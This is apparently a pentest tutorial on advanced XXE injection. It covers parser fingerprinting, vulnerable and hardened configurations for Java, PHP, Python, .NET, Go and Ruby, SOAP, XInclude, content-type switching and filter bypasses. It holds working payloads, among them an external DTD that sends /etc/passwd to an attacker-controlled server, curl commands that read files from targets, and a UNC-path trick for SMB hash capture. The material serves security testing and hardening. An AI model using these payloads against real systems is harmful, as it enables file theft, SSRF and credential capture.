Advanced XXE Injection: XML parser, XInclude, SOAP and bypass

Advanced XXE Injection: Identifies XML parsers, compares Java, PHP, Python, and .NET, tests SOAP, XInclude, content-type switching, and targeted bypasses.
- Posted on 2026-08-16
- Reading time: 13 min
XXE Injection: Specific Parsers, Fingerprinting, and Advanced Techniques #
The xxe guide covers the basic concepts and key payloads. This article goes deeper: how to identify which XML parser your application is using, how each parser behaves differently, and injection techniques that only work in specific contexts—SOAP, XInclude, content-type switching. It also covers WSDL enumeration as preliminary reconnaissance, not as an exploitation technique in itself.
Understanding the parser is crucial because not all parsers are equally vulnerable , and behavior varies not only from language to language but from version to version, from flag to flag. Knowing what you're testing for prevents you from wasting time on payloads that won't work—but no single indicator can give you complete certainty: you'll see this in the fingerprinting section.
How Injection Works: The Mechanics of DTD #
To understand bypasses and variations, you need to understand the Document Type Definition (DTD) structure in two different contexts: the internal DTD (inside the document you send) and the external DTD (a file you host on another server). This distinction matters because some techniques only work in the latter case.
Internal DTD: General Entities #
A general entity (&nome;) can be declared and expanded directly in the internal DTD — it's the “simple” form you've already seen in the basic guide:
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>External DTD: Parameter Entity and Dynamic Expansion #
The parameter entities (%nome;) are used ONLY within a DTD, never in the document body, and are used to dynamically construct other entities. Here is an important constraint of the XML specification: a parameter entity cannot appear within a single markup declaration in the internal DTD — i.e. the “read a file and paste it into a URL” trick (the one used for blind XXE) only works if you put it into a External DTD, not in the DOCTYPE that you send directly to the target.
<!-- Il documento che mandi al target si limita a richiamare il DTD esterno: -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % dtd SYSTEM "http://TUO_SERVER/evil.dtd">
%dtd;
]>
<root>x</root><!-- evil.dtd, ospitato sul tuo server — qui dentro l'espansione dinamica È valida -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY esfil SYSTEM 'http://TUO_SERVER/?x=%file;'>">
%eval;
<!ENTITY % exfil "<!ENTITY % dummy '&esfil;'>">Practically: %file read the file, %eval constructs (inside the external DTD) a new entity esfil which already contains the URL with the file pasted inside, and that entity is then called to send the HTTP request to you with the content appended. If you try to write this same chain inside the DOCTYPE of the main document (internal DTD), the parser rejects or ignores it — that's why the external DTD is not only "more convenient", it's necessary for the dynamic blind XXE.
Parser Fingerprinting: Identifying the Target #
The parser determines which techniques work, but no single signal gives you complete certainty—they're clues that need to be combined. It's worth distinguishing between three levels: evidence (possible, to be verified), strong evidence (probable, but not definitive), and confirmation (you've seen the behavior with your own eyes).
From Stack Trace and Header — Clue, Not Confirmation #
A stack trace or header tells you which library or runtime is in use, not which configuration is currently running — the same library can be vulnerable or safe depending on how it is instantiated in the application code.
# Errori XML rivelano il parser nella stack trace
curl -X POST "https://target.com/api/parse" \
-H "Content-Type: text/xml" \
-d '<?xml version="1.0"?><root><malformed>'
# Java parsers:
# "org.xml.sax.SAXParseException" → SAX parser (Java)
# "com.sun.org.apache.xerces" → Xerces (Java)
# "javax.xml.parsers.DocumentBuilderFactory" → JAXP (Java)
# "org.dom4j" → DOM4J (Java)
# PHP:
# "Warning: SimpleXMLElement::__construct()" → SimpleXML (PHP)
# "DOMDocument::loadXML()" → DOM (PHP)
# "XMLReader" → XMLReader (PHP)
# Python:
# "xml.etree.ElementTree" → stdlib ET
# "lxml.etree" → lxml (dipende dalla versione, vedi sezione dedicata)
# "defusedxml" → sicuro by design
# .NET:
# "System.Xml.XmlDocument" → XmlDocument (.NET)
# "System.Xml.XmlReader" → XmlReader (.NET)
# Ruby:
# "Nokogiri::XML" → Nokogiri
# "REXML::Document" → REXML
# Header HTTP — indicano stack/runtime, MAI il parser XML effettivo o la sua config
curl -sI "https://target.com/" | grep -iE "x-powered|server|x-aspnet"
# X-Powered-By: ASP.NET → runtime .NET (nient'altro)
# Server: JBoss/7.1 → runtime Java su JBoss/Wildfly (nient'altro)
# X-Powered-By: PHP/7.4 → runtime PHP 7.x — da verificare comunque flag e libxml2
# X-Powered-By: PHP/8.1 → runtime PHP 8.x — di norma più sicuro, ma non garantitoWith Differential Probe Payloads — Strong Evidence #
<!-- Probe 1: il parser risolve entità interne? -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY test "PROBE123">]>
<root>&test;</root>
<!-- "PROBE123" nella risposta → segnale positivo (DTD processato).
Ma la sua ASSENZA non prova che il DTD sia disabilitato:
magari il parser lo processa comunque, semplicemente
l'applicazione non restituisce quel valore in risposta. -->
<!-- Probe 2: il parser risolve entità esterne HTTP? -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY test SYSTEM "http://COLLABORATOR.net/probe2">]>
<root>&test;</root>
<!-- COLLABORATOR.net è un dominio che tieni sotto controllo (es. Burp
Collaborator, o un tuo server): se il target ci si connette, lo vedi
nei log. Callback ricevuto → conferma: external entities abilitate.
Nessun callback NON conferma il contrario: può essere egress
filtering (il firewall del target blocca le connessioni in uscita
verso internet), DNS che non esce, un proxy in mezzo, una struttura
XML sbagliata nel tuo payload, o codice che semplicemente non
usa il nodo che hai modificato. Prova più angolazioni prima
di concludere che è sicuro. -->
<!-- Probe 3: il parser risolve entità parametro in DTD esterno? -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % dtd SYSTEM "http://COLLABORATOR.net/probe3.dtd">
%dtd;
]>
<root>x</root>
<!-- Callback su /probe3.dtd → conferma: DTD esterni caricati,
blind XXE via parameter entity possibile. -->Even “no parsing errors” alone is not enough to confirm that the endpoint actually accepts XML as a format — it may simply ignore the body without validating it.
Java Parser: Default, JAXP Provider, and Vulnerable Configurations #
Java has the most complex situation: dozens of different implementations (Xerces—the parser included by default in the JDK—Woodstox, and other providers that vary from JDK to JDK), each with potentially different behavior. In many default configurations, external entities are enabled—this is among the most risky platforms in production, but it should always be checked on a case-by-case basis, not assumed.
DocumentBuilderFactory (JAXP) #
JAXP is Java's standard API for processing XML, built into the JDK. DocumentBuilderFactory This is the class you use to build a DOM parser—that is, a parser that loads the entire document into memory as a navigable tree of nodes. This is probably the most common way you'll see XML parsed in a Java app.
// Spesso VULNERABILE se lasciato con le impostazioni di default:
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(inputStream);
// Hardening completo:
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
try {
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
factory.setXIncludeAware(false);
factory.setExpandEntityReferences(false);
factory.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, "");
factory.setAttribute(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");
} catch (ParserConfigurationException e) {
// Alcune feature non sono supportate da tutte le implementazioni JAXP:
// se una setFeature lancia eccezione, NON significa che il parser sia sicuro —
// va gestita esplicitamente (fail-closed), non ignorata in silenzio.
throw new RuntimeException("Hardening XML non applicabile su questo provider", e);
}
DocumentBuilder builder = factory.newDocumentBuilder();# Come identificarlo durante un pentest:
# Stack trace: "javax.xml.parsers.DocumentBuilderFactory"
# Header: applicazione Java EE su Tomcat/JBoss/Wildfly/WebLogic (indizio, non conferma)
curl -X POST "https://target.com/api" \
-H "Content-Type: text/xml" \
-d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root>&xxe;</root>'SAXParserFactory #
SAX is another way of parsing XML: instead of loading everything into memory as the DOM, it reads the document line by line and calls callback functions as it finds tags and text — lighter on large files, but with the same flaw if you don't configure it.
// Spesso VULNERABILE se lasciato di default:
SAXParserFactory spf = SAXParserFactory.newInstance();
SAXParser saxParser = spf.newSAXParser();
// Hardening: oltre a disallow-doctype-decl, disabilita anche le entity esterne
// e il caricamento del DTD esterno.
SAXParserFactory spf = SAXParserFactory.newInstance();
spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
spf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);XMLInputFactory (StAX) #
StAX is a third parsing model: unlike SAX (which pushes data to you with callbacks), here you ask “give me the next piece” whenever you want — more control, same XXE risk if external entities remain enabled.
// In molte implementazioni, IS_SUPPORTING_EXTERNAL_ENTITIES è true di default:
XMLInputFactory factory = XMLInputFactory.newInstance();
// Hardening:
XMLInputFactory factory = XMLInputFactory.newInstance();
factory.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, Boolean.FALSE);
factory.setProperty(XMLInputFactory.SUPPORT_DTD, Boolean.FALSE);
factory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "");DOM4J, SAXReader, SAXBuilder #
These aren't part of JAXP: they're external libraries, more convenient alternatives to the standard Java API, widely used in older enterprise applications. DOM4J is an XML library with its own tree-based API; SAXReader is the DOM4J class that reads the document (it relies on SAX under the hood, hence the name); SAXBuilder is the equivalent in JDOM , another library similar to DOM4J. All three, if not explicitly configured, inherit the same problem: DTDs and external entities enabled.
// DOM4J spesso VULNERABILE di default:
SAXReader reader = new SAXReader();
Document doc = reader.read(inputStream);
// Hardening:
SAXReader reader = new SAXReader();
reader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
// SAXBuilder (JDOM) — stesso discorso, dipende dalla versione:
SAXBuilder builder = new SAXBuilder();
Document doc = builder.build(inputStream);
// Hardening:
SAXBuilder builder = new SAXBuilder();
builder.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);PHP Parser: Version Depends, libxml2, and Flags — Not Just Version #
libxml2 It's the C library that underlies almost all of PHP's XML functions (and not only that—Python also uses it via lxml). PHP itself doesn't "decide" whether external entities are enabled: this library decides that, plus the flags passed by PHP code when calling it. Therefore, the PHP runtime alone isn't enough to determine whether an endpoint is vulnerable: what matters is the version of libxml2, and especially the flags explicitly passed by the application code.
curl -sI "https://target.com/" | grep "X-Powered-By"
# X-Powered-By: PHP/7.4.33 → runtime datato, verifica libxml_disable_entity_loader
# X-Powered-By: PHP/8.1.27 → external entity disabilitate di default via libxml2,
# MA controlla comunque i flag passati a loadXML/simplexml// PHP 7.x — se il codice non chiama libxml_disable_entity_loader(true) prima:
$xml = simplexml_load_string($user_input); // potenzialmente vulnerabile
$dom = new DOMDocument();
$dom->loadXML($user_input); // potenzialmente vulnerabile
// Hardening PHP < 8.0:
libxml_disable_entity_loader(true); // chiamalo PRIMA di qualsiasi parsing
$xml = simplexml_load_string($user_input);
// ATTENZIONE: LIBXML_NOENT riabilita l'espansione delle entità
// (incluse quelle esterne) anche su PHP 8.0+, annullando la protezione di default:
$dom->loadXML($user_input, LIBXML_NOENT); // vulnerabile anche su PHP 8+
// PHP 8.4 introduce il flag LIBXML_NO_XXE per disabilitare esplicitamente
// il caricamento di entità esterne, quando supportato dalla libxml2 di sistema.
# Cerca flag pericolosi in codice PHP esposto (config errate, debug mode, LFI):
curl "https://target.com/phpinfo.php" | grep -i "libxml"
# file:///var/www/html/upload.php → il codice sorgente contiene LIBXML_NOENT?Python parser #
# xml.etree.ElementTree (stdlib) — NON espande external entity SYSTEM:
# un DOCTYPE con entità esterna tipicamente genera un ParseError invece di
# leggere il file o fare la richiesta di rete. Il rischio residuo è DoS
# (tipo Billion Laughs), e dipende dalla versione di Expat — il parser C
# di basso livello su cui ElementTree si appoggia per leggere l'XML —
# non è un canale di file read/SSRF diretto.
import xml.etree.ElementTree as ET
tree = ET.parse(user_file)
# lxml — QUI la versione conta davvero:
# fino alla serie 4.x, resolve_entities=True era il comportamento di default
# (quindi vulnerabile se non disattivato esplicitamente);
# da lxml 5.0 il default è cambiato a "internal" (entità interne sì,
# esterne no); lxml 6.1.0 ha corretto separatamente un percorso XXE
# in iterparse() ed ETCompatXMLParser — quindi verifica sempre la
# versione esatta in uso, non fermarti al major.
from lxml import etree
# Esplicitamente VULNERABILE:
parser = etree.XMLParser(resolve_entities=True, no_network=False)
# Hardening esplicito (consigliato indipendentemente dalla versione):
parser = etree.XMLParser(resolve_entities=False, no_network=True)
tree = etree.parse(user_file, parser)
# defusedxml — sicuro by design, blocca XXE e Billion Laughs a prescindere
# dalla configurazione sottostante:
import defusedxml.ElementTree as ET
tree = ET.parse(user_file)# Come identificare Python durante pentest:
# Stack trace: "xml.etree.ElementTree.ParseError"
# Header: "Server: gunicorn", "X-Powered-By: Flask" (indizio di stack, non del parser)
curl "https://target.com/requirements.txt"
# lxml==3.8.0 → versione vecchia, verifica se resolve_entities è stato disattivato esplicitamente.NET Parser #
Here too, the classification by version is just a starting point: the target framework, the explicit configuration, and above all the type of XmlReader passed to the parser.
// .NET Framework più datati — XmlDocument spesso VULNERABILE se lasciato di default:
XmlDocument doc = new XmlDocument();
doc.Load(stream);
// Hardening esplicito:
XmlDocument doc = new XmlDocument();
doc.XmlResolver = null; // disabilita la risoluzione di risorse esterne
doc.Load(stream);
// XmlReader — sicuro per design in molte versioni recenti, MA dipende dal resolver:
XmlReaderSettings settings = new XmlReaderSettings();
settings.DtdProcessing = DtdProcessing.Prohibit; // hardening esplicito
XmlReader reader = XmlReader.Create(stream, settings);
// LINQ to XML (XDocument) — non espande external entity di default,
// MA diventa insicuro se gli passi un XmlReader dotato di resolver esterno attivo:
XmlReaderSettings settings = new XmlReaderSettings { XmlResolver = new XmlUrlResolver() }; // rischio
XDocument doc = XDocument.Load(XmlReader.Create(stream, settings)); // ora vulnerabile# Come identificare .NET:
curl -sI "https://target.com/" | grep -iE "x-aspnet|x-powered"
# X-Powered-By: ASP.NET → runtime .NET (indizio)
# Server: Microsoft-IIS/10.0 → runtime .NET su IIS (indizio)
curl -X POST "https://target.com/api/import" \
-H "Content-Type: text/xml" \
-d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini">]><root>&xxe;</root>'Go and Ruby: Specific Behaviors #
// La libreria standard Go encoding/xml non risolve DTD né entità esterne —
// questo copre la libreria standard, non l'intera piattaforma:
// se l'applicazione usa librerie terze per XML, wrapper attorno a librerie C
// (es. libxml2 tramite cgo), o passa l'output a una pipeline successiva
// (conversione, rendering), quel punto va verificato separatamente.
import "encoding/xml"
xml.Unmarshal(data, &result)# Nokogiri — external entities disabilitate di default da Nokogiri 1.5.4+:
require 'nokogiri'
doc = Nokogiri::XML(input)
# VULNERABILE se il codice abilita esplicitamente noent:
doc = Nokogiri::XML(input) { |c| c.noent } # riabilita l'espansione → XXE
# Cerca "c.noent" o ".noent" nel codice sorgente esposto
# REXML — storicamente esposta a Billion Laughs / entity expansion DoS
# su versioni Ruby più datate; verifica sempre la versione di Ruby/REXML
# in uso prima di escludere il rischio:
require 'rexml/document'
doc = REXML::Document.new(input)SOAP Injection: The Enterprise Vector #
SOAP services are pure XML—each request is an XML document. They are among the richest targets for XXE because they are often old, poorly maintained, and use legacy Java parsers with vulnerable defaults.
# Identifica endpoint SOAP
# - URL con /soap, /ws, /service, /wsdl, ?wsdl, ?WSDL
# - Content-Type: text/xml + SOAPAction header
# - Risposta con <Envelope xmlns="http://schemas.xmlsoap.org/soap/envelope/">
# Enumerazione WSDL — ricognizione, non exploitation: il WSDL è il documento
# XML che descrive quali metodi offre il servizio SOAP e che parametri
# si aspettano — scopri i metodi disponibili prima ancora di attaccare
curl "https://target.com/service?wsdl"
# Mostra tutti i metodi SOAP e i tipi di parametri → superficie d'attacco da testare dopo
# Payload XXE in una request SOAP
curl -X POST "https://target.com/soap/UserService" \
-H "Content-Type: text/xml; charset=utf-8" \
-H 'SOAPAction: "GetUser"' \
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<soapenv:Envelope
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:usr="http://example.com/users">
<soapenv:Header/>
<soapenv:Body>
<usr:GetUser>
<usr:userId>&xxe;</usr:userId>
</usr:GetUser>
</soapenv:Body>
</soapenv:Envelope>'XInclude: When You Don't Check the DOCTYPE #
Some endpoints don't allow you to define a DOCTYPE (they strip or block it), but they include your input as part of a larger XML document. In this case, you can't use the standard technique—but you can use XInclude , an XML specification for including files or URLs in a document without needing a DOCTYPE (it just uses a namespace).
<!-- XInclude: leggi /etc/passwd senza DOCTYPE -->
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/>
</foo>
<!-- In una request API dove il tuo valore viene embeddato in XML: -->
<!-- L'API riceve: <root><user>TUOINPUT</user></root> -->
<!-- Tu mandi come TUOINPUT: -->
<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>
<!-- Richiede che il parser abbia XInclude abilitato e lo processi attivamente:
Java: DocumentBuilderFactory.setXIncludeAware(true)
lxml: NON esiste il parametro xinclude= in XMLParser — si parsa
normalmente e poi si chiama tree.xinclude() sull'albero risultante,
oppure si usa il modulo lxml.ElementInclude
libxml2: la funzione xmlXIncludeProcess() deve essere chiamata esplicitamente --># lxml — sintassi corretta per processare XInclude:
from lxml import etree
tree = etree.parse(user_file)
tree.xinclude() # processa le direttive xi:include sull'albero già parsatoContent-Type Switching: XXE over JSON API #
Some APIs accept both JSON and XML but the documentation only shows JSON. If you change the Content-Type and the backend accepts both, you have a hidden XXE vector.
# Request normale JSON
POST /api/users/search HTTP/1.1
Content-Type: application/json
{"query": "mario"}
# Prova a passare a XML
POST /api/users/search HTTP/1.1
Content-Type: text/xml
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<query>&xxe;</query>
# Varianti di Content-Type XML da provare:
# text/xml
# application/xml
# application/soap+xml
# qualunque media type application/*+xml specifico dell'API
# Con Burp: intercetta una request JSON → cambia Content-Type → manda payload XXE
# Un "nessun errore di parsing" è un indizio da approfondire, non una conferma
# che il backend stia davvero trattando il body come XML.XML-Based Formats: Less Obvious Vectors #
They are not “disguised” files — they are formats that by specification ARE XML, and therefore inherit the same risk if the parser that opens them is not protected.
# SVG e DOCX/XLSX sono già trattati in dettaglio nella guida xxe
# GPX (GPS exchange format — XML)
cat > track.gpx << 'EOF'
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<gpx version="1.1">
<name>&xxe;</name>
</gpx>
EOF
# RSS/Atom
cat > feed.xml << 'EOF'
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<rss version="2.0">
<channel><title>&xxe;</title></channel>
</rss>
EOFSAML also falls into this category: the parameter SAMLResponse in an SSO flow is base64 encoded XML. In theory this is another place where an unprotected parser would process a malicious DOCTYPE — in practice, however, a SAMLResponse modified almost always invalidates the provider's digital signature, so this vector only makes sense if the endpoint validates the DOCTYPE before either validate the signature, or fail to validate the signature at all (a configuration issue in itself, not a guaranteed XXE technique). It's worth testing, but don't expect it to work by default.
Common Filter Bypass #
Filter on DOCTYPE #
<!-- Se l'applicazione rimuove <!DOCTYPE ..., prova XInclude (vedi sopra) -->
<!-- Encoding alternativo del DOCTYPE -->
<?xml version="1.0" encoding="UTF-16"?>
<!-- Alcuni filtri cercano "<!DOCTYPE" in UTF-8 ma non in UTF-16 -->
python3 -c "
payload = '''<?xml version=\"1.0\" encoding=\"UTF-16\"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM \"file:///etc/passwd\">]>
<root>&xxe;</root>'''
with open('payload.xml', 'wb') as f:
f.write(payload.encode('utf-16'))
"Filter on “file://” #
<!-- Se "file://" è filtrato, prova varianti del protocollo -->
<!ENTITY xxe SYSTEM "file:///etc/passwd"> <!-- standard -->
<!ENTITY xxe SYSTEM "FILE:///etc/passwd"> <!-- uppercase -->
<!ENTITY xxe SYSTEM "file://localhost/etc/passwd"> <!-- con hostname -->
<!ENTITY xxe SYSTEM "/etc/passwd"> <!-- path assoluto (alcuni parser) -->
<!-- Su Windows -->
<!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini">
<!ENTITY xxe SYSTEM "file://ATTACKER/share"> <!-- UNC path → può forzare autenticazione SMB -->Filter on Special Characters in Value #
If the file contents have characters that break XML (<, >, &), the reliable solution is PHP specific: php://filter Base64 encodes the file before inserting it into the entity, so only safe characters end up in the XML.
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">XXE Specific Tools #
# xxeserv — server per ricevere dati esfiltrati via XXE (HTTP/altri protocolli)
go install github.com/staaldraad/xxeserv@latest
xxeserv -w -p 80 # vedi -h per tutte le opzioni (-w, -wp, -p, -uno, -o)
# Burp Collaborator — il più semplice per OOB (DNS + HTTP)
# Nel payload: usa il tuo Collaborator URL come SYSTEM
# interactsh — alternativa open source
interactsh-client
# Genera dominio: abc123.oast.fun → usa nel payload
# BApp Store — estensioni Burp utili per questo tipo di test:
# Content Type Converter → per il content-type switching
# SAML Raider → per manipolare e testare SAMLResponse
# Office Open XML Editor → per modificare XML dentro docx/xlsx direttamente in Burp
# Nuclei — template blind XXE generico
nuclei -u https://target.com -tags xxe
nuclei -u https://target.com/soap/endpoint \
-t http/vulnerabilities/generic/generic-blind-xxe.yamlAdvanced Checklist #
FINGERPRINTING (indizio → evidenza forte → conferma)
☐ Header HTTP: PHP versione? Java server? .NET? (indizio di stack, non del parser)
☐ Stack trace XML: quale libreria è menzionata? (indizio)
☐ Probe entità interne: PROBE123 riflesso? (evidenza forte se sì; assenza non conclusiva)
☐ Probe entità esterne HTTP: callback ricevuto? (conferma se sì; assenza non conclusiva)
☐ Probe entità parametro: DTD esterno caricato? (conferma per blind XXE)
PARSER-SPECIFIC
☐ Java: mancano setXIncludeAware(false), ACCESS_EXTERNAL_DTD/SCHEMA?
☐ PHP: libxml_disable_entity_loader chiamata (< 8.0)? LIBXML_NOENT presente nel codice?
☐ Python: lxml — quale versione esatta, e resolve_entities impostato esplicitamente?
☐ Ruby: Nokogiri con .noent abilitato nel codice?
☐ .NET: XmlResolver esplicito passato a XmlDocument/XDocument?
☐ Go: solo stdlib in uso, o anche librerie terze/wrapper C da verificare?
VETTORI NASCOSTI
☐ Content-Type switching: API JSON accetta anche text/xml o application/*+xml?
☐ XInclude testato (quando DOCTYPE è filtrato)?
☐ Formati XML meno ovvi testati: GPX, RSS, SAML, DOCX/XLSX?
☐ SOAP endpoint trovati (/wsdl, ?wsdl)? WSDL enumerato per tutti i metodi?
BYPASS FILTRI
☐ DOCTYPE filtrato → XInclude
☐ file:// filtrato → FILE://, file://localhost/, /path (Unix), UNC (Windows)
☐ Contenuto con caratteri XML speciali → php://filter base64 (PHP)
☐ UTF-16 encoding testato (bypass filtri UTF-8)
DOCUMENTAZIONE
☐ Parser e versione identificati (non solo il runtime)
☐ Vettore di injection specificato
☐ Payload usato documentato
☐ Dati estratti o callback OOB come provaFAQ #
Why doesn't the lack of callbacks rule out an XXE? A failed OOB test can be caused by many factors other than parser "security": egress filtering that blocks outgoing connections, DNS that doesn't resolve outward, an intervening proxy, incorrect XML structure in the payload, or application code that simply doesn't use the node you modified. Before concluding that the endpoint isn't vulnerable, try different angles: DNS instead of HTTP, error-based, different injection points in the same document.
Does XInclude always work as an alternative to DOCTYPE?
No. It requires the parser to have XInclude enabled and actively process it. Java does this with setXIncludeAware(true); in lxml it is parsed normally and then called tree.xinclude() on the tree (there is no parameter xinclude= in XMLParser); in libxml2 you need an explicit call to xmlXIncludeProcess()If the parser doesn't have XInclude enabled, the markup is simply ignored.
Is LIBXML_NOENT in PHP 8 really dangerous?
Yes. PHP 8.0+ disables external entities by default via libxml2 — but if your code explicitly passes LIBXML_NOENT a loadXML() o simplexml_load_string(), re-enables entity expansion, including external ones. PHP 8.4 introduces LIBXML_NO_XXE to explicitly disable them, when supported by the system libxml2 — but it remains an option to enable, not a guaranteed default on all versions.
How do I exploit a UNC path via XXE on Windows?
An entity that aims to file://ATTACKER_IP/share You can make the Windows server attempt SMB authentication against your host to access the path. With Responder listening, you can capture the NetNTLM response (not a cleartext password, but a hash to be used in subsequent relay-type attacks with ntlmrelayx (or offline cracking). Note: Many environments block outgoing SMB authentication at the network or firewall level, so there is no guarantee that traffic will actually get through.
Resources #
The Java parser has external entities enabled in many default configurations. The documentation makes this clear. Almost no one checks it line by line.








